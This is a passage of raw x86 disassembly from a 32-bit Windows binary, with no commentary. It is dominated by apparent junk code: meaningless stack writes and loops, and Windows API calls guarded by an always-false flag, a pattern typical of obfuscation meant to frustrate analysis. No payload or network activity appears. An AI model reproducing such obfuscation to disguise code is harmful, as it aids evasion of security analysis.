jmp 0x1002e8f8
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x4c]
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x11
je 0x1002e8ef
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffffc
jg 0x1002e8d8
push 0xfffffffffffffffe
mov dword [ebp - 0x24], 0xac204e2
pop ecx
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x4c], ecx
push 0xffffffffffffffe3
mov dword [ebp - 0x40], 0x15
pop esi
cmp dword [ebp - 0x40], esi
je 0x1002e98c
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x4c], 0x2cb3a3fc
mov dword [ebp - 0x30], 0x1510afbd
mov dword [ebp - 0x28], 0xffffffe6
cmp dword [ebp - 0x28], 0xfffffff2
jle 0x1002e982
mov dword [ebp - 0x30], 0xef054a20
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
neg ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0x28], 0x8de6
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff2
jg 0x1002e947
xor eax, eax
inc eax
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], esi
jne 0x1002e929
xor eax, eax
push 0xfffffffffffffff6
mov dword [ebp - 0x14], 0x4438bea1
pop ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x38], 0x2443ac46
push 2
mov dword [ebp - 0x34], eax
pop ebx
cmp dword [ebp - 0x34], ebx
jge 0x1002e9c3
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x14a8], 0
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jl 0x1002e9ab
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1002ea80
movdqa xmm0, xmmword [0x10008300]
lea eax, [ebp - 0x11e0]
push eax
lea eax, [ebp - 0x11f0]
push eax
lea ecx, [ebp - 0x13f8]
movdqu xmmword [ebp - 0x11f0], xmm0
call fcn.10017444
lea ecx, [ebp - 0x18e]
mov esi, eax
call fcn.10009483
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xe38]
push dword [esi]
call fcn.1001740a
push 3
pop esi
mov dword [ebp - 4], esi
xor eax, eax
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x10], eax
jl 0x1002ea6a
mov dword [ebp - 0x28], 0x73d2d672
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002ea3d
push eax
push eax
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x1002ea65
push dword [ebp - 0x28]
lea ecx, [ebp - 0xe38]
call fcn.10017435
mov dword [eax], 0xfffffff7
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x1002ea46
xor eax, eax
dec dword [ebp - 0x10]
jns 0x1002ea23
or eax, 0xffffffff
lea ecx, [ebp - 0xe38]
mov dword [ebp - 4], eax
call fcn.10017430
push 0xfffffffffffffff7
pop edx
jmp 0x1002eac2
mov dword [ebp - 0x30], 0xfe75
mov dword [ebp - 0x10], eax
jmp 0x1002eab1
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x1002eaa9
mov dword [ebp - 0x4c], 0x64c7b7f6
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jle 0x1002ea99
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jne 0x1002ea8c
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
push 3
mov dword [ebp - 0x30], eax
pop esi
or eax, 0xffffffff
mov dword [ebp - 0x54], 4
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x1002eb22
mov dword [ebp - 0x30], 0xffff
mov dword [ebp - 0x28], 0xfab8c3ad
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 0xf
cmp dword [ebp - 0x28], edx
jne 0x1002eb1f
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002eb17
push 0x1a40
push 0x2ca
push eax
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0xfffffffffffffff7
xor eax, eax
pop edx
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
je 0x1002eaf8
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jl 0x1002ead6
xor ebx, ebx
lea ecx, [ebp - 0x144]
inc ebx
mov dword [ebp - 0x2c], ebx
push esi
call fcn.100173c8
mov dword [ebp - 4], 4
xor eax, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002eb6b
push dword [ebp - 0x10]
lea ecx, [ebp - 0x144]
call fcn.10017435
mov dword [eax], 0x2e91a049
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002eb4d
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002eb8d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe64], 0xaa237f4a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002eb74
xor eax, eax
push eax
lea ecx, [ebp - 0x144]
call fcn.10017435
lea ecx, [ebp - 0x144]
and dword [eax], 0
xor eax, eax
push eax
call fcn.10017435
cmp dword [eax], 0x15
jge 0x1002ecbe
mov dword [ebp - 0x40], esi
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x1c], 0xe215169f
mov dword [ebp - 0x30], 0xa0949511
mov dword [ebp - 0x4c], 0x19791169
push 2
call fcn.10017435
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x144]
mov eax, dword [ebp - 0x40]
push ebx
call fcn.10017435
xor eax, eax
lea ecx, [ebp - 0x144]
push eax
call fcn.10017435
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffffb
push ebx
sbb eax, eax
inc eax
mov dword [ebp - 0xe64], eax
mov dword [ebp - 0x30], eax
mov esi, dword [ebp - 0x1c]
neg esi
sbb esi, esi
neg esi
call fcn.10017435
cmp dword [eax], esi
jge 0x1002ec35
xor eax, eax
lea ecx, [ebp - 0x144]
push eax
call fcn.10017435
push 2
lea ecx, [ebp - 0x144]
call fcn.10017435
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x144]
mov eax, dword [ebp - 0x40]
xor eax, eax
push eax
call fcn.10017435
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x40]
setl bl
xor ecx, ecx
cmp ebx, eax
setl cl
sub edx, ecx
neg edx
sbb edx, edx
xor eax, eax
inc edx
or ecx, 0xffffffff
add edx, dword [ebp - 0x40]
cmp edx, ecx
lea ecx, [ebp - 0x144]
setne al
mov dword [ebp - 0x30], eax
xor eax, eax
push eax
call fcn.10017435
lea ecx, [ebp - 0x144]
inc dword [eax]
xor eax, eax
push eax
call fcn.10017435
push 1
pop ebx
push 3
cmp dword [eax], 0x15
pop esi
jl 0x1002ebb3
or esi, 0xffffffff
lea ecx, [ebp - 0x144]
mov dword [ebp - 4], esi
call fcn.10017430
xor eax, eax
mov edx, 0xa5d6c05b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xd
jl 0x1002f277
mov dword [ebp - 0x6e8], edx
mov dword [ebp - 0x6e4], edx
mov dword [ebp - 0x6e0], edx
mov dword [ebp - 0x6dc], edx
mov dword [ebp - 0x6dc], 0xfffffffc
jmp 0x1002ed1f
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002ed19
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
xor eax, eax
dec dword [ebp - 0x6dc]
cmp dword [ebp - 0x6dc], 0xffffffe7
jle 0x1002ed07
mov dword [ebp - 0x54], 0x45bbbdeb
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x4c], 2
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x1002ed5a
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x1500], ebx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
jl 0x1002ed45
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002ed73
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
xor eax, eax
inc dword [ebp - 0x4c]
mov dword [ebp - 0x40], 0xb1af
mov dword [ebp - 0x38], 0x477862f
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffe6
jg 0x1002ee24
mov dword [ebp - 0x1c], 0x24c00011
mov dword [ebp - 0x34], 0x509cb0be
mov dword [ebp - 0x3c], 0xc3d6
cmp dword [ebp - 0x38], eax
jne 0x1002ee21
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp eax, ebx
setle cl
cmp ecx, dword [ebp - 0x3c]
jl 0x1002edc5
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002edc5
mov esi, eax
jmp 0x1002edcd
xor eax, eax
xor ebx, ebx
inc ebx
lea esi, [eax + 1]
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, 0xc39ba095
setle dl
cmp eax, edx
sbb eax, eax
xor ecx, ecx
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x34]
cmp esi, eax
setl cl
sub ecx, 0xe649
add ecx, dword [ebp - 0x3c]
neg ecx
sbb ecx, ecx
inc ecx
cmp dword [ebp - 0x1c], ecx
jg 0x1002ee0c
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002ee0e
mov eax, ebx
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xffffffe6
push 0
pop eax
jle 0x1002ed91
or esi, 0xffffffff
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002ee43
push eax
push 0x1082
push eax
push eax
push 0x1abb
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x28], 0x1928c176
mov dword [ebp - 0x1c], 0x281c1d99
mov dword [ebp - 0x50], 0xb87c2657
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xfffffff2
jg 0x1002f18c
push ebx
lea ecx, [ebp - 0x230]
call fcn.100173c8
xor eax, eax
mov dword [ebp - 4], 5
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x1002eea8
push dword [ebp - 0x34]
lea ecx, [ebp - 0x230]
call fcn.10017435
mov dword [eax], esi
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x1002ee88
xor ebx, ebx
xor eax, eax
inc ebx
push eax
lea ecx, [ebp - 0x230]
call fcn.10017435
cmp dword [eax], 0
je 0x1002f0e5
push ebx
lea ecx, [ebp - 0x6a4]
call fcn.100173c8
xor eax, eax
mov byte [ebp - 4], 6
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x1002eefa
push dword [ebp - 0x34]
lea ecx, [ebp - 0x6a4]
call fcn.10017435
push 0xfffffffffffffffe
pop ecx
mov dword [eax], ecx
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x1002eed7
xor ebx, ebx
xor eax, eax
inc ebx
push eax
lea ecx, [ebp - 0x6a4]
call fcn.10017435
and dword [eax], 0
jmp 0x1002f0c1
mov dword [ebp - 0x2c], 0x3b7beded
lea ecx, [ebp - 0xcb8]
push 2
call fcn.100173c8
push 7
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x1002ef52
push dword [ebp - 0x34]
lea ecx, [ebp - 0xcb8]
call fcn.10017435
mov dword [eax], 4
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
jl 0x1002ef33
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x1002f0a2
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x1002ef84
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x88], 0
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x1002ef66
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], eax
jl 0x1002f092
mov dword [ebp - 0x10], 0x66a92721
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002efc9
push dword [ebp - 0x10]
lea ecx, [ebp - 0x230]
call fcn.10017435
mov dword [eax], 0xfffffff9
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x1002efa5
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x1002f086
mov dword [ebp - 0x4c], 0x5f7626a9
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x30], 0x422d5fba
push dword [ebp - 0x88]
call fcn.10017435
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x230]
mov esi, eax
call fcn.10017435
mov edi, dword [esi]
lea ecx, [ebp - 0x230]
push dword [ebp - 0x88]
add edi, dword [eax]
neg edi
neg edi
sbb edi, edi
neg edi
call fcn.10017435
mov ecx, dword [ebp - 0x10]
xor edx, edx
push 0xfffffffffffffffe
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp edx, eax
pop eax
setne cl
cmp eax, ecx
lea ecx, [ebp - 0xcb8]
push ebx
sbb esi, esi
neg esi
call fcn.10017435
lea ecx, [ebp - 0x230]
mov dword [eax], esi
xor eax, eax
push eax
call fcn.10017435
xor ecx, ecx
cmp esi, dword [eax]
setle cl
cmp ecx, 0xfffc
sbb eax, eax
xor ecx, ecx
neg eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
cmp edi, eax
setne cl
mov dword [ebp - 0x30], ecx
dec dword [ebp - 0x10]
jns 0x1002efd5
xor eax, eax
dec dword [ebp - 0x88]
jns 0x1002ef96
mov dword [ebp - 0x1c], 0xf7c2f5a2
dec dword [ebp - 0x2c]
jns 0x1002ef5e
lea ecx, [ebp - 0xcb8]
mov byte [ebp - 4], 6
call fcn.10017430
xor eax, eax
lea ecx, [ebp - 0x6a4]
push eax
call fcn.10017435
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x6a4]
push eax
call fcn.10017435
cmp dword [eax], 0
jge 0x1002ef0e
lea ecx, [ebp - 0x6a4]
call fcn.10017430
jmp 0x1002f163
xor eax, eax
mov dword [ebp - 0x3c], 0xf0d4a7c7
push eax
lea ecx, [ebp - 0x230]
call fcn.10017435
mov ecx, dword [ebp - 0x3c]
xor edx, edx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x230]
setne dl
xor eax, eax
cmp edx, 0xc359
setge al
mov dword [ebp - 0x30], eax
xor eax, eax
push eax
call fcn.10017435
mov edx, dword [ebp - 0x3c]
xor ebx, ebx
mov ecx, dword [ebp - 0x1c]
mov esi, eax
cmp edx, ecx
setge bl
sub ebx, 0xd1cc
neg ebx
sbb ebx, ebx
xor eax, eax
inc ebx
cmp ebx, dword [ebp - 0x30]
setg al
xor ecx, ecx
cmp eax, dword [esi]
setg cl
sub ecx, 0xbc35
je 0x1002f154
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
xor eax, eax
inc eax
mov dword [ebp - 0x30], eax
or esi, 0xffffffff
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], esi
call fcn.10017430
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff2
push 1
pop ebx
jle 0x1002ee68
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f19a
push eax
push eax
push eax
call edi
mov dword [ebp - 0x30], 0x221494fb
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
neg esi
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
sbb esi, esi
mov eax, dword [ebp - 0x24]
xor edx, edx
neg esi
cmp ecx, eax
setg dl
cmp edx, dword [ebp - 0x14]
je 0x1002f1cd
xor eax, eax
cmp dword [ebp - 0x54], eax
jne 0x1002f1cd
mov edx, eax
jmp 0x1002f1d2
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x54]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setle dl
xor ecx, ecx
cmp eax, edx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
setge cl
xor ebx, ebx
sub edx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge bl
xor ecx, ecx
cmp ebx, eax
setle cl
xor eax, eax
cmp ecx, 0xb69c93e3
jae 0x1002f21d
cmp dword [ebp - 0x40], eax
je 0x1002f21d
lea ecx, [eax + 1]
jmp 0x1002f21f
mov ecx, eax
mov eax, dword [ebp - 0x40]
xor edx, edx
imul eax, ecx
imul ecx, eax, 0xa26c
mov eax, dword [ebp - 0x54]
cmp ecx, eax
setg dl
xor ecx, ecx
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x54]
cmp eax, 0xfffffff8
setg cl
xor ebx, ebx
mov dword [ebp - 0x2c], ecx
inc ebx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], ebx
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002f258
mov eax, ebx
add eax, esi
mov edx, 0xa5d6c05b
push 0
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xd
pop eax
push 0xffffffffffffffff
pop esi
jge 0x1002ece3
or esi, esi
mov dword [ebp - 0x10], 0xfffffff6
push 3
mov dword [ebp - 0x34], eax
pop ecx
cmp dword [ebp - 0x34], ecx
jge 0x1002f29d
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x5b4], ecx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jl 0x1002f289
xor eax, eax
push 2
pop edi
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0x10], eax
jl 0x1002f315
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f2ca
push eax
push eax
push 0x181b
push 0x1a83
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
mov eax, dword [ebp - 0x10]
push 0
pop ecx
push 0
mov eax, dword [ebp + eax*4 - 0x5b4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x5b4]
mov eax, dword [ebp - 0x5ac]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x5b4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x5b4]
neg eax
mov eax, dword [ebp - 0x10]
sets cl
mov dword [ebp + eax*4 - 0x5b4], ecx
dec dword [ebp - 0x10]
pop eax
jns 0x1002f2a8
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff9
jle 0x10030204
mov dword [ebp - 0x38], 0x261f
lea ecx, [ebp - 0xf4c]
push edi
call fcn.100173c8
xor eax, eax
mov dword [ebp - 4], 8
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], edi
jge 0x1002f364
push dword [ebp - 0x34]
lea ecx, [ebp - 0xf4c]
call fcn.10017435
mov dword [eax], 0xd29b
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jl 0x1002f346
xor eax, eax
dec dword [ebp - 0x38]
xor edi, edi
mov dword [ebp - 0x38], eax
inc edi
jmp 0x1002f3b4
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x40], edi
cmp dword [ebp - 0x40], eax
jl 0x1002f391
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f38c
push eax
call dword [sym.imp.USER32.dll_IsRectEmpty]
xor eax, eax
dec dword [ebp - 0x40]
jns 0x1002f37a
mov dword [ebp - 0x40], eax
jmp 0x1002f3ac
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f3a9
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
xor eax, eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], edi
jle 0x1002f396
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edi
jle 0x1002f36f
lea ecx, [ebp - 0xf4c]
mov dword [ebp - 4], esi
call fcn.10017430
movdqa xmm0, xmmword [0x100083a0]
lea eax, [ebp - 0x10a0]
push eax
lea eax, [ebp - 0x10b0]
mov dword [ebp - 0x38], 0x6042c8cd
push eax
lea ecx, [ebp - 0x14c0]
movdqu xmmword [ebp - 0x10b0], xmm0
call fcn.10017444
lea ecx, [ebp - 0x1fd]
mov esi, eax
call fcn.10009483
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x828]
push dword [esi]
call fcn.1001740a
push 2
pop esi
push esi
lea ecx, [ebp - 0x828]
mov dword [ebp - 4], 9
call fcn.10017435
xor ebx, ebx
mov dword [eax], ebx
jmp 0x1002f560
push edi
lea ecx, [ebp - 0xe48]
call fcn.100173c8
push 4
lea ecx, [ebp - 0x644]
mov byte [ebp - 4], 0xa
call fcn.100173c8
xor eax, eax
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1002f483
push dword [ebp - 0x10]
lea ecx, [ebp - 0xe48]
call fcn.10017435
mov dword [eax], 0xa888adae
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x1002f45f
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002f4ab
push dword [ebp - 0x10]
lea ecx, [ebp - 0x644]
call fcn.10017435
mov dword [eax], 0x1d8987f2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002f48c
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f4d1
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
xor eax, eax
push eax
push 0x2541
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
push edi
lea ecx, [ebp - 0x644]
call fcn.10017435
xor ebx, ebx
lea ecx, [ebp - 0x644]
push edi
mov dword [eax], ebx
call fcn.10017435
jmp 0x1002f534
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002f518
push eax
push 0x1c15
push 0x1d03
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
push edi
lea ecx, [ebp - 0x644]
call fcn.10017435
push edi
lea ecx, [ebp - 0x644]
inc dword [eax]
call fcn.10017435
xor ebx, ebx
cmp dword [eax], ebx
jle 0x1002f4ef
lea ecx, [ebp - 0x644]
call fcn.10017430
lea ecx, [ebp - 0xe48]
mov byte [ebp - 4], 9
call fcn.10017430
push esi
lea ecx, [ebp - 0x828]
call fcn.10017435
inc dword [eax]
push esi
lea ecx, [ebp - 0x828]
call fcn.10017435
cmp dword [eax], ebx
jl 0x1002f434
or eax, 0xffffffff
lea ecx, [ebp - 0x828]
mov dword [ebp - 4], eax
call fcn.10017430
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 0x632667a8
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], edi
jge 0x1002f5b7
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xe2c], 0x99ff
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x1002f599
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 0x28], eax
jmp 0x1002f5ea
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0x96a485bf
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x1002f5e7
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f5e2
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
xor eax, eax
dec dword [ebp - 0x34]
jns 0x1002f5ce
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002f5bc
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x1d
push 3
pop ebx
jne 0x1002f933
or ecx, 0xffffffff
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x1002f625
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x138c], 0xfffffff6
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jl 0x1002f60d
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jg 0x1002f644
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x138c], 0
jne 0x1002f642
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jle 0x1002f62d
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f663
push eax
push 0xbb6
push 0x12df
push 0x18bc
call dword [sym.imp.KERNEL32.dll_RaiseException]
or eax, 0xffffffff
lea ecx, [ebp - 0xf64]
mov dword [ebp - 0x34], eax
push 4
call fcn.100173c8
xor eax, eax
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 4
jge 0x1002f6a7
push dword [ebp - 0x34]
lea ecx, [ebp - 0xf64]
call fcn.10017435
mov dword [eax], 0x102d149f
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 4
jl 0x1002f688
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f6bf
push 0x2ea
push eax
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x1002f6e5
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f6e2
push 0x8db
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor eax, eax
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffff8
jne 0x1002f6c4
or eax, 0xffffffff
lea ecx, [ebp - 0xf64]
mov dword [ebp - 4], eax
call fcn.10017430
xor eax, eax
or ecx, 0xffffffff
mov byte [ebp - 0x15], al
mov dword [ebp - 0x34], 0xcdcb363f
mov dword [ebp - 0x3c], 0x147909b7
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x3c], 4
mov dword [ebp - 0x40], 0xfc4b664f
mov dword [ebp - 0x10], 0xfffffffd
mov dword [ebp - 0x4c], 0x81d4b4ea
mov dword [ebp - 0x4c], 0xe5e26c5f
mov dword [ebp - 0x4c], 0xf2a6bc67
mov dword [ebp - 0x30], 0x3ca38079
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1002f773
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1c0], 0x857497f3
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x1002f755
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 0x10], eax
jmp 0x1002f789
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe5c], 0xb99bf0bb
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f778
dec dword [ebp - 0xe54]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
sub ecx, eax
sub ecx, dword [ebp - 0x34]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x28], ecx
jne 0x1002f7ac
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c0]
mov ecx, 0x6c37fc05
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
sub ecx, eax
je 0x1002f7cd
